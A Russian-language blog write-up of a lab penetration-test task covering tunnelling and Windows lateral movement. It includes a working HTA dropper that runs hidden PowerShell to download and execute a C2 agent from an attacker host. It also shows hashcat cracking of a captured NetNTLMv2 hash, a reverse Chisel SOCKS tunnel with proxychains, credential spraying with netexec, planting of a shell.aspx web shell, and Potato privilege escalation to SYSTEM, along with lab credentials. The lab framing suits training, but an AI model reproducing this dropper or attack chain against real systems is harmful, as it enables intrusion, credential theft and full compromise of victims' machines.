Вступление
Салют! Данный материал был выпущен специально для блога по информационной безопасности @mirea подписывайся там будет много интересного контента🎇
не забываем заходить в чат @greyhatchat тут вы можете найти потенциальных коллег. Ведем себя культурно=)
Туннелирование для чайников
С чего начать
Это сложная тема, очень важная без которой в пентесте сетей делать нечего, поэтому я до сих пор сижу на виртуалках, т.к чайник, пока никто не зовет проводить аудиты=)))
План такой. Берем нейронку и чуть болтаем с ней. Я подготовил небольшой лист вопросов.
Базовые вопросы (понимание концепций):
- Что такое сетевая сегментация, и зачем она используется в корпоративных сетях?
- Какие задачи решают межсетевые экраны (firewalls), и как они ограничивают трафик?
- В чём разница между локальным (Local Port Forwarding) и удалённым (Remote Port Forwarding) перенаправлением портов?
- Что такое SOCKS прокси и в каких случаях он применяется?
- Чем туннелирование отличается от обычного проброса портов?
- Как работает инкапсуляция данных в SSH-туннелях?
Технические вопросы (практика):
- Как настроить SSH-туннель для доступа к порту на изолированной машине?
- Пример: Как использовать
ssh -L
для проброса SMB-трафика?
- Пример: Как использовать
- Как организовать удалённый порт-форвардинг, если на хосте заблокирован исходящий HTTP-трафик?
- Как настроить и использовать Proxychains для работы через SOCKS прокси?
- Как проверить, что SSH-туннель настроен корректно? Какие команды/инструменты для этого использовать?
- Какие параметры SSH (например,
-N
,-D
) наиболее часто используются для туннелирования, и что они означают? - Какие инструменты кроме SSH можно использовать для создания туннелей (например, Chisel, Ligolo), и чем они отличаются?
Вопросы по безопасности и детекции:
- Как администраторы могут обнаружить использование SSH-туннелей в сети?
- Какие действия предпринять, чтобы защитить изолированные сегменты от несанкционированного доступа через туннелирование?
- Какие журналы событий (лог-файлы) нужно проверять, чтобы обнаружить аномальное использование SSH?
- Какие меры защиты можно внедрить, чтобы предотвратить загрузку и выполнение утилит, таких как Chisel или Ligolo?
- Какие инструменты DPI (Deep Packet Inspection) помогают анализировать трафик и обнаруживать туннели?
Практические сценарии (для закрепления):
- Как пробросить порт для доступа к веб-серверу, если он работает на изолированном хосте?
- Как настроить SSH-доступ, чтобы работать с несколькими службами (например, RDP, SMB) одновременно через один туннель?
- Как использовать SOCKS прокси для сканирования портов изолированной сети? Какие параметры
nmap
для этого подойдут? - Как организовать VPN-туннель с помощью Ligolo и настроить маршрут во внутреннюю сеть?
- Как настроить обратный порт-форвардинг, чтобы сервер в изолированной сети подключался к атакующей машине?
Для углублённого понимания:
- Какие протоколы чаще всего используются для инкапсуляции (HTTP, SMB, SSH), и в каких ситуациях они применяются?
- Чем динамическое перенаправление портов через SOCKS отличается от статического?
- Какие есть ограничения и недостатки у инструментов, таких как Chisel или Proxychains?
- Как туннели используются в атакующих фреймворках (например, Havoc или Metasploit)?
- Какие метрики трафика могут свидетельствовать о скрытом туннелировании (например, постоянный поток трафика на порту 22)?
Для проверки своих знаний:
- Можете ли вы объяснить разницу между туннелированием и пробросом портов простыми словами?
- Как вы бы настроили туннель для доступа к изолированной сети, если знаете только один доступный узел (хост)?
- Как определить, что данные отправляются через SSH-туннель, если вы смотрите на сетевой трафик?
- Какие шаги вы предпримете, чтобы не оставить следов после настройки туннеля?
Практические задания:
- Настройте локальный и удалённый порт-форвардинг с помощью SSH и проверьте, что они работают.
- Используйте Proxychains для перенаправления трафика на изолированный ресурс.
- Установите и настройте утилиту Chisel для проброса портов. Попробуйте построить SOCKS туннель.
- Поднимите VPN-туннель через Ligolo и выполните сканирование внутренней сети.
Эти вопросы помогут вам не только разобраться в теории, но и освоить практические навыки работы с туннелями и пробросом портов, а также понять, как это используется в атакующих и защитных сценариях.
NOTE
Если что я сам ничего из этого еще не знаю=)))) Я буду пытаться понять часть информации на ходу, с практикой и нейронкой. Это лишь потому что я ленивый и немного тупой. Чуть позже я планирую переписать материал.
Дружеская рекомендация
NOTE
Боевое Вождение - это ютуб канал, который мне посоветовали пользователи дамаги. Я посмотрел пару видеороликов, автор толковую информацию показывает на практике. Рекомендую на досуге ознакомиться, вам это должно помочь!
Решаем таск с 0 знаниями по сетям=)))
Задание
Удалось обнаружить учетные данные для электронной почты следующего пользователя:
- Логин:
[email protected]
- Пароль:
Zaebal123$$$$
Цель:
Скомпрометировать лабораторную сеть.
Адрес лаборатории:
- Сеть лаборатории:
10.113.0.0/24
- Почтовый сервер:
10.109.0.100
Учетные данные для почтового сервера:
- Логин:
[email protected]
- Пароль:
Secure2023_X_Pass
Я зашел на аккаунт братвы, увидел, что он не смог до конца разобраться зачем ему скинули подозрительный файл с расширением .hta. И решил спросить=)
Догадываюсь, что подобный таск учит нас действовать от ситуации. Посерфить скомпрометированную почту, понять, что вот есть кейс. Прислали неоптытному сотруднику файл с каким-нибудь отчетом, а он не знает как его открыть. Босс еще не успел скинуть мануал, ответить на сообщение. Значит мы имея учетку босса сделаем работу за него, вот только файл будет необычным=)))
Я отправился в интернет, искать что можно интересного сделать с .hta и в целом узнать что это такое.
NOTE
hta файлике. Это по сути исполняемый файл с кодом html внутри себя, который может быть запущен вне браузера, в приложении mshta.exe, входящем в состав Windows (c:\windows\system32\mshta.exe).
Для чего нужен HTA
HTA создавался для разработчиков, чтобы упростить разработку приложений с графическим интерфейсом, основанных на HTML, без ограничений, присущих браузерам. Ниже описаны основные сценарии использования:
-
Разработка легковесных приложений:
- HTA использовался для создания простых приложений на основе HTML и JavaScript с доступом к системным ресурсам.
- Например, можно было создать утилиту для автоматизации задач (например, генератор отчетов или интерфейс настройки).
-
Полный доступ к системным ресурсам:
- HTA-файлы запускаются вне “песочницы” браузера, что даёт им полный доступ к системным ресурсам:
- Чтение/запись файлов на диск.
- Доступ к реестру.
- Выполнение команд через
WScript
или ActiveX.
- Это делает HTA мощным инструментом для автоматизации.
- HTA-файлы запускаются вне “песочницы” браузера, что даёт им полный доступ к системным ресурсам:
-
Интеграция с корпоративными системами:
- HTA можно использовать для создания внутренних инструментов в корпоративной среде, например, интерфейсов для работы с базами данных или файловыми хранилищами.
-
Тестирование и отладка веб-приложений:
- Благодаря своей совместимости с HTML и JavaScript, HTA может использоваться для тестирования веб-кода или взаимодействия с API.
-
Создание кастомизированных интерфейсов:
- В отличие от веб-браузеров, HTA позволяет настраивать интерфейс полностью: убрать меню, полосы прокрутки и кнопки навигации.
Зачем это может использоваться сегодня?
Сегодня HTA устарел, но иногда его используют в следующих целях:
-
Автоматизация и скрипты:
- Разработчики или системные администраторы могут использовать HTA для написания скриптов, которые требуют графического интерфейса.
-
Обход ограничений в безопасности:
- К сожалению, злоумышленники используют HTA для эксплуатации уязвимостей Windows. HTA позволяет:
- Выполнять произвольный код на машине пользователя.
- Загружать вредоносные программы.
- Взаимодействовать с системой без строгих ограничений.
- К сожалению, злоумышленники используют HTA для эксплуатации уязвимостей Windows. HTA позволяет:
-
Социальная инженерия:
- HTA-файл может быть замаскирован под что-то безопасное (например, “документ” или “установочный файл”) и отправлен жертве. Запуск HTA через
mshta.exe
может привести к выполнению вредоносного кода.
- HTA-файл может быть замаскирован под что-то безопасное (например, “документ” или “установочный файл”) и отправлен жертве. Запуск HTA через
Какие угрозы несёт HTA?
-
Полный доступ к системе:
- HTA имеет привилегии для работы с файлами, реестром и выполнения команд, что делает его потенциально опасным.
-
Используется в атаках:
- HTA часто применяют для распространения вредоносного ПО. Например:
- В фишинговых атаках HTA-файл может загрузить и запустить троян или шпионское ПО.
- В эксплойтах — для обхода ограничений системы безопасности.
- HTA часто применяют для распространения вредоносного ПО. Например:
-
Запуск без предупреждений:
- Если
mshta.exe
запускается без должного контроля, HTA-файлы могут выполнять код без согласия пользователя.
- Если
Как защититься от потенциальных угроз HTA
-
Ограничение использования
mshta.exe
:- Отключите или удалите
mshta.exe
, если он не используется в рабочем процессе.
- Отключите или удалите
-
Фильтрация HTA-файлов:
- Настройте антивирусные программы и средства защиты на блокировку
.hta
файлов.
- Настройте антивирусные программы и средства защиты на блокировку
-
Обучение сотрудников:
- Убедитесь, что пользователи понимают риски запуска неизвестных файлов с расширением
.hta
.
- Убедитесь, что пользователи понимают риски запуска неизвестных файлов с расширением
-
Мониторинг системы:
- Используйте EDR-системы для мониторинга запусков
mshta.exe
и анализа аномальной активности.
- Используйте EDR-системы для мониторинга запусков
Заключение
HTA — это мощный инструмент, который изначально предназначался для разработки приложений на основе HTML. Однако из-за своей открытости и доступа к системным ресурсам он часто используется злоумышленниками для атак. Если HTA не используется в вашей организации, лучше ограничить или полностью отключить возможность его выполнения.
Нашел интересную статью про HTA
[Малварь на HTML или HTA для хакера](Статья - Малварь на HTML или HTA для хакера | Форум информационной безопасности - Codeby.net
Суть в чем наша задача отправить сотруднику файл с расширением .hta в котором будет однострочный powershell скрипт для скачивания нашего агента C2 и запуска. Таким образом мы получим сессию на удаленном машине.
Генерием c2 агента и запускаем python сервак, чтобы наш файл могли скачать=)
(далее я запускаю на 8083, т.к перезагружал систему, решил другой порт использовать)
Просим нейронку написать .HTA скрипт
Нам нужен скрипт, который скачает агента для C2 с нашего сервера и запустит его через powershell.
После некоторых страданий мне всё таки удалось заполучить эту несчастную сессию. Не знаю в чем была собственно проблема. Но рабочий скрипт выглядит вот так
upd: проблема была в том, что c2.exe уже существовал на машинке (я до этого залил на машинку и позабыл).
<html>
<head>
<HTA:APPLICATION
ID="oHTA"
APPLICATIONNAME="MSession"
BORDER="none"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="no"
VERSION="1.0"
WINDOWSTATE="minimize"
/>
</head>
<body>
<script language="VBScript">
' Скрываем окно HTA
Window.ResizeTo 0, 0
Window.MoveTo -4000, -4000
' Создаем объект WScript.Shell
Set wsh = CreateObject("WScript.Shell")
' Запускаем PowerShell команду для скачивания и выполнения файла
wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX (New-Object Net.WebClient).DownloadFile('http://10.0.0.90:8089/c2.exe', 'C:\Windows\tasks\c222.exe'); Start-Process 'C:\Windows\tasks\c222.exe'"
' Закрываем окно HTA
Window.Close
</script>
</body>
</html>
Особо заострять внимание на этом не будем. HTA это устаревшая темка, может она вообще не используется вне ctf, лучше пойдем дальше.
Ищем способы повысить привилегии
Я скачал бинарь winpeas на сервер и запустил
shell winp.exe | findstr "tech"
shell winp.exe | findstr "hash"
tech - это пользователь под которым мы получили сессию. Я хочу в первую очередь узнать пароль.
А вот и наш хэшик
tech::WS13:1122334455667788:eefd57e652e5f956b24f1a5a0f8b05e3:010100000000000090bb170d273adb01416cb70cf9aa7543000000000800300030000000000000000000000000200000ecda55660d8867989bac2c2531cdd4353d475969d9a099b3b4fb715929b33ecf0a00100000000000000000000000000000000000090000000000000000000000
hashcat -m 5600 hash.txt word.txt -r /usr/share/hashcat/rules/dive.rule --show
TECH::WS13:1122334455667788:eefd57e652e5f956b24f1a5a0f8b05e3:010100000000000090bb170d273adb01416cb70cf9aa7543000000000800300030000000000000000000000000200000ecda55660d8867989bac2c2531cdd4353d475969d9a099b3b4fb715929b33ecf0a00100000000000000000000000000000000000090000000000000000000000:ZxCvBnM!23
Я использовал правила для hashcat - dive.rule. Таким образом пароль для учетки tech - ZxCvBnM!23
Строим туннель
для начало узнаем какие у нас есть сетевые интерфейсы.
И того подводим итог. У нас есть линукс тачка (наша) - 10.0.0.90 У нас есть 10.113.0.10 и 112.113.0.10, которые могут пинговать, видеть 10.0.0.90. Но когда я попытался пингануть эти два сетевых интерфейса, то ничего не вышло. Эта сетка тупо не сканится.
Пример сегментации:
- Администраторы сети могут разрешить доступ:
- К определённым устройствам (например, `10.113.0.1`).
- К определённым портам (например, SSH на `10.113.0.1:22`).
- К приложениям или службам (например, доступ к веб-серверу на `10.113.0.3:80`).
- Остальные IP-адреса или порты в подсети могут быть заблокированы.
ssh работает, но вот только мы не можем достучаться до нужных хостов. Значит создадим сокс, чтобы можно было стучать к примеру в 112.113.0.10. Как я понял у нас есть общий сервер 10.113.0.10. Общий в моем понимании - это что он может обращаться хоть к хссту 112.*, хоть к моей машинке линукс. То есть некий посредник через которого мы будем отсылать пакеты.
Что такое Chisel?
- Chisel — это инструмент для создания TCP/UDP-туннелей через HTTP/WebSocket-соединение. Он часто используется для обхода ограничений сети, NAT или брандмауэров.
- Работает в режиме “клиент-сервер”:
- Сервер — это устройство, к которому клиент подключается.
- Клиент — это устройство, которое использует туннель для доступа к ресурсам через сервер.
Я буду использовать chisel для reverse туннеля. Логично, что сервером будет выступать наша линукс машина дело в том, что мы не можем дотянуться до этих 2-х интерфейсов, а вот 10.113* может.
chisel server --port 8443 --reverse
2024/11/19 07:19:09 server: Reverse tunnelling enabled
2024/11/19 07:19:09 server: Fingerprint fOpn2Vp5Nbp44Qvtb30bg9ZIMzI3qflLae/fs6gp7+k=
2024/11/19 07:19:09 server: Listening on http://0.0.0.0:8443
Все мы прослушиваем порт 8443 на линукс тачке.
На виндовс машинке, где мы нашил 2 сетевых интерфейса скачиваем chisel
Подключаемся к нашей линукс тачке и создаем сокс
Смотрим что произошло на линукс. Прилетел ли коннект
Устанавливаем proxychains
sudo apt install proxychains
Конфигурационный файл появится по следующему пути
/etc/proxychains.conf
Прописываем туда наш сокс
Проверим все ли работает=)
proxychains curl ident.me
curl ident.me
Разные должны быть ip адреса для выхода в веб.
Используем сокс для доступа к тачкам
Далее попробуем пробраться на хосты, которые ранее не были нам доступны.
proxychains netexec ssh 10.113.0.0/24 -u "tech" -p 'ZxCvBnM!23' -t 10 | fgrep "[+]"
Я поставил потоков 10, чтобы не убить сокс. Насколько я знаю по дефолту netexec использует 100 потоков. Также я использую fgrep, т.к это банально удобно, не нужно экранировать специальные символы. Как видим нам удалось достучаться до хостов, которые были в сетке 10.113.0.0/24, а ранее у нас не было к ним доступа. Также попробуем посканить второй сетевой интерфейс.
proxychains netexec ssh 112.113.0.0/24 -u "tech" -p 'ZxCvBnM!23' -t 10 | fgrep "[+]"
Заливаем web шелл
На хосте, который оканчивается на 20 я заметил в корне диска C папку inetpub. Это сразу наталкивает на мысль залить туда веб шелл. Но сначала нужно проверить есть ли у нас необходимые права на это.
Пользователь “tech” имеет право на создание файлов.
powershell "(Get-Acl C:\inetpub).Access"
Проверял вот так. До этого естественно проверил в какие группы входит пользователь tech с помощью whoami /all
Вот сюда грузим наш шелл.
C:\inetpub\wwwroot\shell.aspx
Я буду использовать shell.aspx
Отлично мы залили shell в корневую директорию. Нужно теперь пробросить порт, чтобы получить доступ к шеллу. У нас установлен ssh.
proxychains ssh -L 9999:127.0.0.1:80 [email protected]
Пробуем запустить c2, чтобы получить сессию от служебной учетки.
У меня в стенде используется кириллица поэтому ошибка непонятная. Проще говоря у этой учетки нет прав на запуск нашего агента c2.exe.
И кстати, ранее когда я отправлял файл .hta мне пришлось c2.exe изменить на любое другое свободное название, т.к не было прав на перезапить существующего файла=)) А я думал ошибка со скриптом и потратил немало времени.
Потом я вообще понял, что пора идти спать. Я заливал агента на 10 хост, а в шелле не указал рабочую директорию где лежит агент c:\windows\tasks. Ну собственно вот теперь у нас есть сессия с новыми привилегиями.
Вот такие вот у нас привилегии. Но мы по-прежнему не СИСТЕМА. Надо повышать привилегии.
Опасные привилегии:
- SeImpersonatePrivilege — ключевая привилегия для атак эскалации привилегий.
- SeAssignPrimaryTokenPrivilege — позволяет захватить контроль над процессами.
- SeCreateGlobalPrivilege — может быть опасна в руках атакующего.
Повышаем привилегии с помощью картошек
Инструмент GodPotato-NET4.exe, как и другие “Potato”-атаки (например, JuicyPotato, RoguePotato), эксплуатирует уязвимости, связанные с механизмами обработки токенов и “имперсонации” (impersonation). Для корректной работы GodPotato требуется привилегия SeImpersonatePrivilege.
Как мы видим GodPotato запустил наш c2.exe и мы получили сессию от SERVER$. Это всё также не система, попробуем другую картошку.
shell SigmaPotato.exe c2.exe
Таким образом мы проапались до уровня системы. Туннелирование траффика это очень важная тема, я обязательно в ней разберусь получше и напишу продолжение. Кстати тачки не пинговались потому что ICMP траффик блокировался.